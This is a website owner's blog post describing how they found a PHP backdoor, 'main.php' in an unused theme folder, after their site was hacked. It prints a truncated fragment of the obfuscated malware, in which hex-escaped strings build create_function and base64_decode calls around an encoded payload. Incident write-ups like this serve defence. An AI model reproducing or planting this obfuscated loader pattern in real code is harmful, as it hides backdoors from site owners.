This post is about hacking, not biology.
We had a productive day, because we found out the backdoor code that corrupted our website. This writeup may help others figure out potential sources of trouble, or in the least, keep their websites safe.
We were looking at all kinds of server logs to figure out what went wrong, and somewhat fortuitously noticed one log that gave us the list of most active codes every day. It is named ‘Resource usage stats’ on cpanel. We found that on all days over the last week, the most used code at our site was ‘homolog/blogs/index.php’. That makes perfect sense, because readers come to our website to read the commentaries. However, we also found that the most used programs were different on the day of the attack (June 28). They were -
The first one did not appear right, especially because we do not use twentyten theme. So we inspected the actual code of ‘main.php’. It was clearly the attack code as we can tell based on two reasons.
(i) It was inserted into our website on June 22 and was one of the few php codes in the entire web tree that did not get corrupted by the attack. Amazing, isn’t it? Even the hacked codes do not eat their own :)
(ii) The innocuously named ‘main.php’ have codes like this -
$_8b7b = “\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e”;
$_8b7b1f = “\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65”;
$_8b7b1f56 = $_8b7b(“”, $_8b7b1f(“JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1 MzsyMjQ7MjUzOzIwODsyNTM7MjM0OzI1NTsyMjQ7MjUzOzI1MTsyMzA7MjI1OzIzMjsxNjc7MjAyOz IwODsyMDI7MjI
The entire code is pasted here by some other sufferer. It is a very sophisticated php code that is written in binary. Searching google with parts of the code gave me only five hits. So, possibly not many people reached this far in figuring out the mode of attack. Apparently, one blog performed extensive analysis on the nature of the code and wrote it here.
We are still not sure, how the backdoor code was inserted, but we should be able to figure out by going through other logs. Finding the code gives us confidence that it is really gone now after the cleaning process.